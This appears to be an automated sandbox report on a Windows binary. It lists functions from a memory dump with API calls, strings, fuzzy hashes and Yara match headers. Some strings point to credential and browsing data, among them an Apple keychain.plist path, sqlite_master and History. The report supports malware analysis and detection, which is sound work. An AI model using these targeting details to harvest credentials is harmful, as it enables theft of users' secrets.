Part of subcall function 004087A4: ShellExecuteW.SHELL32(?,open,?,Function_0004552C,Function_0004552C,00000005), ref: 004087BA

SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 0040F8F2
GetMenuStringW.USER32 ref: 0040F90C
GetKeyState.USER32(00000010), ref: 0040F938

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExecuteMenuMessageSendShellStateStringmemset
String ID:
API String ID: 3550944819-0
Opcode ID: 9a1b8f86d4c82467fb85a2d141e0833d89a0986062affb40e8a5ce6add93c36d
Instruction ID: 0cce36cd3d59050ebbb4ae1468268e07e9567f629d0a6bc52b2b72a07dc00bda
Opcode Fuzzy Hash: 9a1b8f86d4c82467fb85a2d141e0833d89a0986062affb40e8a5ce6add93c36d
Instruction Fuzzy Hash: 7041C375500305EBDB30AF15CC88B9673B4EF50325F10857AE9686BAE2C7B8AD89CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD44, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

free.MSVCRT(00000000,?,?,?,0040365A), ref: 0040CD9D
memcpy.MSVCRT ref: 0040CDAF
memcpy.MSVCRT ref: 0040CDE2

Strings

Z6@, xrefs: 0040CDBF, 0040CD5C

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$free
String ID: Z6@
API String ID: 2888793982-1638572689
Opcode ID: d95a093917320c7edcb790d909f4cc8d04b331544c50e5d8cbf7f629eee5e05f
Instruction ID: 1cd3d00781b25d2b94616f77ccd2c248328d95a28ed1044bfffefbc926401994
Opcode Fuzzy Hash: d95a093917320c7edcb790d909f4cc8d04b331544c50e5d8cbf7f629eee5e05f
Instruction Fuzzy Hash: EB219034500605EFCB60DF29C98185ABBF6FF84314720467EE852E3790E739EE019B44

Uniqueness

Uniqueness Score: -1.00%

Function 00410174, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 004101B7
memcpy.MSVCRT ref: 004101E1
memcpy.MSVCRT ref: 00410205

Strings

@, xrefs: 004101F3

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID: @
API String ID: 3510742995-2766056989
Opcode ID: 3146a9f0800fb98ab8d741e68a911a3dc47cf6252b201eb637f31c079c1ab91f
Instruction ID: 2b976a00fcfd181f23c33ae21356c60783d23841694cc8dee0d8ac2aa3eeffc6
Opcode Fuzzy Hash: 3146a9f0800fb98ab8d741e68a911a3dc47cf6252b201eb637f31c079c1ab91f
Instruction Fuzzy Hash: EA112BB29003057BDB249F15D884DEA77A9EBA0344700062FFD0696251F6BDDED9C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 0040943C, Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00409471
memset.MSVCRT ref: 00409482
memcpy.MSVCRT ref: 0040948E
??3@YAXPAX@Z.MSVCRT ref: 0040949B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: 898d8e9d52820eb96ce10e2226b5f96aabaab06ffaecd95ecc0993478c84b991
Instruction ID: d0afff18851916bdc62762cc26ce26f97abfa6c0527030a4abc257fe2447681f
Opcode Fuzzy Hash: 898d8e9d52820eb96ce10e2226b5f96aabaab06ffaecd95ecc0993478c84b991
Instruction Fuzzy Hash: 2F114F712046019FE328DF1DC881A27F7E5EFD9304B21892EE59A97386DB39E802CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00413D78, Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413DA4

Part of subcall function 004089E1: _snwprintf.MSVCRT ref: 00408A26
Part of subcall function 004089E1: memcpy.MSVCRT ref: 00408A36

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00413DCD
memset.MSVCRT ref: 00413DD7
GetPrivateProfileStringW.KERNEL32 ref: 00413DF9

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 4701140641528281e6a2f2a601d8238aa5be9a8f71d281e8a9d64cb715560d8d
Instruction ID: e0c1f09ad2cb5d60bcfcc92858fd4079171207d9a16d9363f081e68af551c4db
Opcode Fuzzy Hash: 4701140641528281e6a2f2a601d8238aa5be9a8f71d281e8a9d64cb715560d8d
Instruction Fuzzy Hash: 4D1165B2500129BFEF11AF64DC06EDE7B79EF44711F10006AFB05B2151EA359A608F9D

Uniqueness

Uniqueness Score: -1.00%

Function 004146B4, Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 004146C4
SHBrowseForFolderW.SHELL32(?), ref: 004146F6
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0041470A
wcscpy.MSVCRT ref: 0041471D

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: BrowseFolderFromListMallocPathwcscpy
String ID:
API String ID: 3917621476-0
Opcode ID: cb6a9e2cdf5430a829d0da304ac5e0abe1f2fc1a776887efdb875fa7bb300fe9
Instruction ID: 097f193ff7923ae7587a5e446372f032271e9f174675921af37de08819f90ac7
Opcode Fuzzy Hash: cb6a9e2cdf5430a829d0da304ac5e0abe1f2fc1a776887efdb875fa7bb300fe9
Instruction Fuzzy Hash: EC11FAB5900208AFDB00DFA9D988AEEB7FCFB49304F10406AE515E7240D738DB45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0042F6EF, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0042F72A
memset.MSVCRT ref: 0042F734
memcpy.MSVCRT ref: 0042F75F

Strings

sqlite_master, xrefs: 0042F702

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$memset
String ID: sqlite_master
API String ID: 438689982-3163232059
Opcode ID: c646f38e99a0b25c0d94209a59a7168cae4c1a9a59a360b2711f92080c37e354
Instruction ID: df29f02e372fce164f73cef38905b10b73feda933693282389fd2907aeed520f
Opcode Fuzzy Hash: c646f38e99a0b25c0d94209a59a7168cae4c1a9a59a360b2711f92080c37e354
Instruction Fuzzy Hash: 8B01F572900618BAEB11BBA0CC42FDEB77DFF45315F50005AF60062042DB79AA148B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7F0, Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B340
Part of subcall function 0040B301: LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040B3D9
Part of subcall function 0040B301: memcpy.MSVCRT ref: 0040B419

_snwprintf.MSVCRT ref: 0040E81D
SendMessageW.USER32(?,0000040B,00000000,?), ref: 0040E882

Part of subcall function 0040B301: wcscpy.MSVCRT ref: 0040B382
Part of subcall function 0040B301: wcslen.MSVCRT ref: 0040B3A0
Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B3AE

_snwprintf.MSVCRT ref: 0040E848
wcscat.MSVCRT ref: 0040E85B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: HandleModule_snwprintf$LoadMessageSendStringmemcpywcscatwcscpywcslen
String ID:
API String ID: 822687973-0
Opcode ID: f595f7851fd5ecf50e789f2e31413ad2f48e9a2df967e8378ccfd76600fbb0fc
Instruction ID: fc9a9cbfa579f1f3c21001c0e8c570231a458ca756af8d40dec707b0d2905b79
Opcode Fuzzy Hash: f595f7851fd5ecf50e789f2e31413ad2f48e9a2df967e8378ccfd76600fbb0fc
Instruction Fuzzy Hash: 540188B650070466F720F7A6DC86FAB73ACDB80704F14047AB719F21C2D679A9514A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00416D4F, Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,75145970,?,00416E7A,?), ref: 00416D6D
malloc.MSVCRT ref: 00416D74
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,75145970,?,00416E7A,?), ref: 00416D93
free.MSVCRT(00000000,?,75145970,?,00416E7A,?), ref: 00416D9A

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: 6473b6ae2363bac8fe3278054bbb67e2d8efa675f45e1cfdc60fa0bc066547d8
Instruction ID: bcab52b9ccbc4c9bc02d63d2584d5636d902a6cb4a382b6ea3df8204de1a5a00
Opcode Fuzzy Hash: 6473b6ae2363bac8fe3278054bbb67e2d8efa675f45e1cfdc60fa0bc066547d8
Instruction Fuzzy Hash: 9DF089B260E22D7F7B102A75ACC0D7BBB9CDB862FDB21072FF514A1190D9199C015675

Uniqueness

Uniqueness Score: -1.00%

Function 004081EA, Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 004081F8
SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00408210
SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00408226
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00408249

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessageSend$Item
String ID:
API String ID: 3888421826-0
Opcode ID: 381a5bbb51054e29776615c9d78b7fadc6b93f74ad2d14be58dfbd0a9df3dec6
Instruction ID: eb915db23c4b1ca38ea3c1988d88bb83aba39799d6a265b66449fd7df9afb7a9
Opcode Fuzzy Hash: 381a5bbb51054e29776615c9d78b7fadc6b93f74ad2d14be58dfbd0a9df3dec6
Instruction Fuzzy Hash: 10F06975A0050CBFDB018F948E81CAFBBB9EB49784B2000BAF504E6150D6709E01AA61

Uniqueness

Uniqueness Score: -1.00%

Function 00417479, Relevance: 6.0, APIs: 4, Instructions: 45fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00417496
UnlockFileEx.KERNEL32(?,00000000,?,00000000,?), ref: 004174B6
LockFileEx.KERNEL32(?,00000001,00000000,?,00000000,?), ref: 004174C2
GetLastError.KERNEL32 ref: 004174D0

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$ErrorLastLockUnlockmemset
String ID:
API String ID: 3727323765-0
Opcode ID: 4810f114b558b10b38af4f71b0c7c6b165b1adf4af59189c3dccd4a982aa45c9
Instruction ID: 68256e963451342af1775745e88af25fe573ff9f394a0ba2c0bbd214266e5fb2
Opcode Fuzzy Hash: 4810f114b558b10b38af4f71b0c7c6b165b1adf4af59189c3dccd4a982aa45c9
Instruction Fuzzy Hash: 7701F435504608BFDB219FA0DC84D9B7FBCFB80705F20843AF942D6050D6349984CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401C64

Part of subcall function 00414558: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00414592

wcslen.MSVCRT ref: 00401C7D
wcslen.MSVCRT ref: 00401C8B

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

Strings

Apple Computer\Preferences\keychain.plist, xrefs: 00401C77, 00401C7C, 00401CA4

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$FolderPathSpecialmemsetwcscatwcscpy
String ID: Apple Computer\Preferences\keychain.plist
API String ID: 3183857889-296063946
Opcode ID: 6247019291f7f29928cfc72ffb34b103c0827717099c0caebcdb4204c0bdf711
Instruction ID: eecd7d3c3de4f02ea7dbe6204318003872b6068ab845989257e2c34d03a92ed5
Opcode Fuzzy Hash: 6247019291f7f29928cfc72ffb34b103c0827717099c0caebcdb4204c0bdf711
Instruction Fuzzy Hash: 08F0F9B250531866FB20A755DC8AFDA73AC9F01314F2001B7E914E20C3FB7CD944469D

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEF9, Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040CF1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000001,000000FF,?,00001FFF,00000000,00000000,00000001,00445ADC,00000000,00000000,00000000,?,00000000,00000000), ref: 0040CF37
strlen.MSVCRT ref: 0040CF49
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040CF5A

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: 6de95bbd86e8c5c66f1a6cb16b855a894458dc702525011a0bbc2a07e71c4aeb
Instruction ID: 14800c8a4aa59548f5ab429dc5ca7c2185fd5422b2c87da3b8dfa48c6c6ad4f5
Opcode Fuzzy Hash: 6de95bbd86e8c5c66f1a6cb16b855a894458dc702525011a0bbc2a07e71c4aeb
Instruction Fuzzy Hash: 13F01DB780122CBFFB059B94DCC9EEB776CDB09254F0001A6B709E2052DA749E448BB8

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE8A, Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040CEAF
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,?,00007FFF,00000000,00000000,00000000), ref: 0040CECC
strlen.MSVCRT ref: 0040CEDE
WriteFile.KERNEL32(00000001,?,00000000,00000000,00000000), ref: 0040CEEF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharFileMultiWideWritememsetstrlen
String ID:
API String ID: 2754987064-0
Opcode ID: 9c577301d423554223bdd3630099943bbc335e058c45f1b75860cbc1b2ab4647
Instruction ID: 5ca945b9895027beb3426ea3ebb999d168a71141a618eb4a8136c4c05ef02c5a
Opcode Fuzzy Hash: 9c577301d423554223bdd3630099943bbc335e058c45f1b75860cbc1b2ab4647
Instruction Fuzzy Hash: 40F062B680152C7FEB81A794DC81EEB776CEB05258F0041B2B749D2041DD349E084F7C

Uniqueness

Uniqueness Score: -1.00%

Function 00413A55, Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 0040840D: memset.MSVCRT ref: 0040842C
Part of subcall function 0040840D: GetClassNameW.USER32 ref: 00408443
Part of subcall function 0040840D: _wcsicmp.MSVCRT ref: 00408455

SetBkMode.GDI32(?,00000001), ref: 00413A7C
SetBkColor.GDI32(?,00FFFFFF), ref: 00413A8A
SetTextColor.GDI32(?,00C00000), ref: 00413A98
GetStockObject.GDI32(00000000), ref: 00413AA0

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
String ID:
API String ID: 764393265-0
Opcode ID: 16e31c24aafdd867e9f11d81aef655d32ec4149ba1a8bcf71b06e6c70f8613c6
Instruction ID: 110bd5b637e4d79b17592fdcf208372bccb43cad252910099e33a416a39d1a4b
Opcode Fuzzy Hash: 16e31c24aafdd867e9f11d81aef655d32ec4149ba1a8bcf71b06e6c70f8613c6
Instruction Fuzzy Hash: 4DF0C839100208BBCF216F60DC05ACE3F21AF05362F104136F914541F2CB759A90DB4C

Uniqueness

Uniqueness Score: -1.00%

Function 00408D10, Relevance: 6.0, APIs: 4, Instructions: 34timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00408D2C
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?), ref: 00408D3C
SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00408D4B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Time$System$File$LocalSpecific
String ID:
API String ID: 979780441-0
Opcode ID: d8f3a09722eadbc74da9c95b8a3510df0f65f7c1f1d0afca8fe4e111664d8614
Instruction ID: ec3377692345dfa8f7b5f00acb1c953adbf394747b85e28386a557f9ea6599fc
Opcode Fuzzy Hash: d8f3a09722eadbc74da9c95b8a3510df0f65f7c1f1d0afca8fe4e111664d8614
Instruction Fuzzy Hash: F4F05E769005199BEF119BA0DC49BBFB3FCBF1670AF008529E052E1090DB74D0048B64

Uniqueness

Uniqueness Score: -1.00%

Function 004116B2, Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 004116CC
memcpy.MSVCRT ref: 004116DE
GetModuleHandleW.KERNEL32(00000000), ref: 004116F1
DialogBoxParamW.USER32 ref: 00411705

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$DialogHandleModuleParam
String ID:
API String ID: 1386444988-0
Opcode ID: a05812b97bd1c831ce7d974adc3378230abb1617476c2fccf6c1e9608279f8eb
Instruction ID: a5b74f8db5ede7a3d830d9ef30c1a68d0a9fd07d2d047c5f1f3455979569a65d
Opcode Fuzzy Hash: a05812b97bd1c831ce7d974adc3378230abb1617476c2fccf6c1e9608279f8eb
Instruction Fuzzy Hash: 6CF08231680710BBE751AF68BC06F467A90A786B93F200427F700A51E2D2F98591CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 00404C2D, Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00404C44

Part of subcall function 0041473D: LoadLibraryW.KERNEL32(shlwapi.dll,74EB48C0,?,00404C4C,00000000), ref: 00414746
Part of subcall function 0041473D: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 00414754
Part of subcall function 0041473D: FreeLibrary.KERNEL32(00000000,?,00404C4C,00000000), ref: 0041476C

GetDlgItem.USER32 ref: 00404C56
GetDlgItem.USER32 ref: 00404C68
GetDlgItem.USER32 ref: 00404C7A

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Item$Library$AddressFreeLoadProc
String ID:
API String ID: 2406072140-0
Opcode ID: da5f3edd2f60ef32041746d78debef195ee365f8658758de0d32d5ce3718fae6
Instruction ID: 228af19f1fcbab99cdef25afc198749965fa335a60b9bcf03d324973c33eddf9
Opcode Fuzzy Hash: da5f3edd2f60ef32041746d78debef195ee365f8658758de0d32d5ce3718fae6
Instruction Fuzzy Hash: C1F01CB54047016BDA313F72CC09D5BBAADEFC1318F020D3EB1A1661E1CBBD94428A58

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF98, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 0040CFDA
wcschr.MSVCRT ref: 0040CFE8

Part of subcall function 00408FA6: wcslen.MSVCRT ref: 00408FC2
Part of subcall function 00408FA6: memcpy.MSVCRT ref: 00408FE5

Strings

", xrefs: 0040D024

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcschr$memcpywcslen
String ID: "
API String ID: 1983396471-123907689
Opcode ID: 10fcbf9e5481758e0dfe22ca6cc4b0137c7973d9f08c313bebbe16306d28857a
Instruction ID: cb92cf76e860540842cf0149dc84745c0fdf0d5674f0ab6313b6b46cd67416c3
Opcode Fuzzy Hash: 10fcbf9e5481758e0dfe22ca6cc4b0137c7973d9f08c313bebbe16306d28857a
Instruction Fuzzy Hash: 5331B371904104EFDF10EFA5D8419EEB7B5EF44328F20416FE854B71C2DB7C9A468A58

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAA, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00408BD6
memcpy.MSVCRT ref: 00408C22

Strings

ZD, xrefs: 00408BAA

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpywcschr
String ID: ZD
API String ID: 2424118378-3587482827
Opcode ID: cab20acd61bf2aeda623c70c5b61bfb8dcf6f4394f0840f81abff6233d4b2f5c
Instruction ID: bc5ff3c8a32915e0c271f67cda952c5327785ed0a9ceb032124e0645629a4555
Opcode Fuzzy Hash: cab20acd61bf2aeda623c70c5b61bfb8dcf6f4394f0840f81abff6233d4b2f5c
Instruction Fuzzy Hash: 6B21D372815615AFEB259F18C6809BA73B4EB55354B10003FECC1E73D1EF78EC9186A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A19F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 004089BB: SetFilePointer.KERNEL32(0040A46B,?,00000000,00000000,?,0040A271,00000000,00000000,?,00000020,?,0040A401,?,?,*.*,0040A46B), ref: 004089C8

_memicmp.MSVCRT ref: 0040A1B9
memcpy.MSVCRT ref: 0040A1D0

Strings

URL , xrefs: 0040A1B3

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FilePointer_memicmpmemcpy
String ID: URL
API String ID: 2108176848-3574463123
Opcode ID: 0ab65471aa39f3e32cca0cb723868807121227734642166b6a1d255f25c2e27e
Instruction ID: 99369b2f7b4a62638f95efb923bbf95607b210eae314fb40be60fbcdcdd136bc
Opcode Fuzzy Hash: 0ab65471aa39f3e32cca0cb723868807121227734642166b6a1d255f25c2e27e
Instruction Fuzzy Hash: 8E11E371200304BBEB11DF65CC05F5F7BA8AF91348F00407AF904AB391EA39DA20C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 004089E1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00408A26
memcpy.MSVCRT ref: 00408A36

Strings

%2.2X , xrefs: 00408A1B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _snwprintfmemcpy
String ID: %2.2X
API String ID: 2789212964-323797159
Opcode ID: d16808a51bbc7474834844d6a398450cf8754e6776392b16b10eb0a45586ee87
Instruction ID: da81b6977c0b6fb050ee50f61be4767a81b1db5370a865e3ffb8ab5306406039
Opcode Fuzzy Hash: d16808a51bbc7474834844d6a398450cf8754e6776392b16b10eb0a45586ee87
Instruction Fuzzy Hash: D311A132A00208BFEB40DFE8C986AAF73B8FB45714F10843BED55E7141D6789A558F95

Uniqueness

Uniqueness Score: -1.00%

Function 004174E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,00000000,00000000,?,004176FC,?,00000000), ref: 00417518
CloseHandle.KERNEL32(?), ref: 00417524

Strings

NA, xrefs: 00417503

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFileHandleUnmapView
String ID: NA
API String ID: 2381555830-2562218444
Opcode ID: d40bf1f6c7c19c9d983791adfa5e9ad4e6f6ebbcc0410757e5a5cd4d668ca904
Instruction ID: 5a1a322b0db6f4624e604a7b594929ce6c45ce98bd99ef11bc86fd7bf5bcef0d
Opcode Fuzzy Hash: d40bf1f6c7c19c9d983791adfa5e9ad4e6f6ebbcc0410757e5a5cd4d668ca904
Instruction Fuzzy Hash: 7D11BF36504B10EFC7329F28D944A9777F5FF40752B40092EE94296A61D738F981CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE5E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 00407D7B: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00444305,00000000,?,00000000,00000000,0041274B,?,?), ref: 00407D8D

GetFileSize.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 0040AE7C

Part of subcall function 00409539: ??2@YAPAXI@Z.MSVCRT ref: 00409542

Part of subcall function 0040897D: ReadFile.KERNELBASE(?,?,CCD,00000000,00000000,?,?,00444343,00000000,00000000), ref: 00408994

Part of subcall function 00409064: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401DEE,00000000,00000001,00000000), ref: 0040907D
Part of subcall function 00409064: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401DEE,00000000,00000001,00000000), ref: 004090A2

CloseHandle.KERNEL32(?,?,000000FF,00000000), ref: 0040AECC

Part of subcall function 00409552: ??3@YAXPAX@Z.MSVCRT ref: 00409559

Strings

{@, xrefs: 0040AE5E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
String ID: {@
API String ID: 2445788494-1579578673
Opcode ID: c255d9c27d1defa37b3e30fcff96da51efc1fad4c64b69bf173537adafc66d1e
Instruction ID: c5e992bc26eaba96ccce0a59eaf6c8ec24c3530ff69697df2342695e73c728e4
Opcode Fuzzy Hash: c255d9c27d1defa37b3e30fcff96da51efc1fad4c64b69bf173537adafc66d1e
Instruction Fuzzy Hash: A1113376804208AFCB01AF69DC45CDA7B78EE05364751C27BF515A7192D6349E04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1F1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 0040D21F
_snwprintf.MSVCRT ref: 0040D23F

Strings

%%-%d.%ds , xrefs: 0040D214

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _snwprintf
String ID: %%-%d.%ds
API String ID: 3988819677-2008345750
Opcode ID: 483dcaac6a08b5d03ce4074c4c19aa481c1388c04e02163b2fa0e4fc7d7ec376
Instruction ID: fa2a5c48b8b1081f9110b67312fe06c807ccf1e61c825d072a06322f14435401
Opcode Fuzzy Hash: 483dcaac6a08b5d03ce4074c4c19aa481c1388c04e02163b2fa0e4fc7d7ec376
Instruction Fuzzy Hash: 2D01B171600304AFD711EF69CC82E5ABBA9FF8C714B10442EFD46A7292C679F851CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00408907, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetSaveFileNameW.COMDLG32(?), ref: 00408956
wcscpy.MSVCRT ref: 0040896D

Strings

X, xrefs: 0040893B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileNameSavewcscpy
String ID: X
API String ID: 3080202770-3081909835
Opcode ID: ebc7cc994b1ae799fe580d521e5066964324ca7fbd572096a573d52571a50e6b
Instruction ID: 302039dcaac94884f1c4397820c578514485f3c1708042d42c96f5da00a98a83
Opcode Fuzzy Hash: ebc7cc994b1ae799fe580d521e5066964324ca7fbd572096a573d52571a50e6b
Instruction Fuzzy Hash: 3301D3B1E002499FDF01DFE9D9847AEBBF4AB08319F10402EE855E6280DB789949CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00408FFD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 0040900C
_memicmp.MSVCRT ref: 0040903A

Strings

History, xrefs: 00409006, 0040900B, 00409038

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memicmpwcslen
String ID: History
API String ID: 1872909662-3892791767
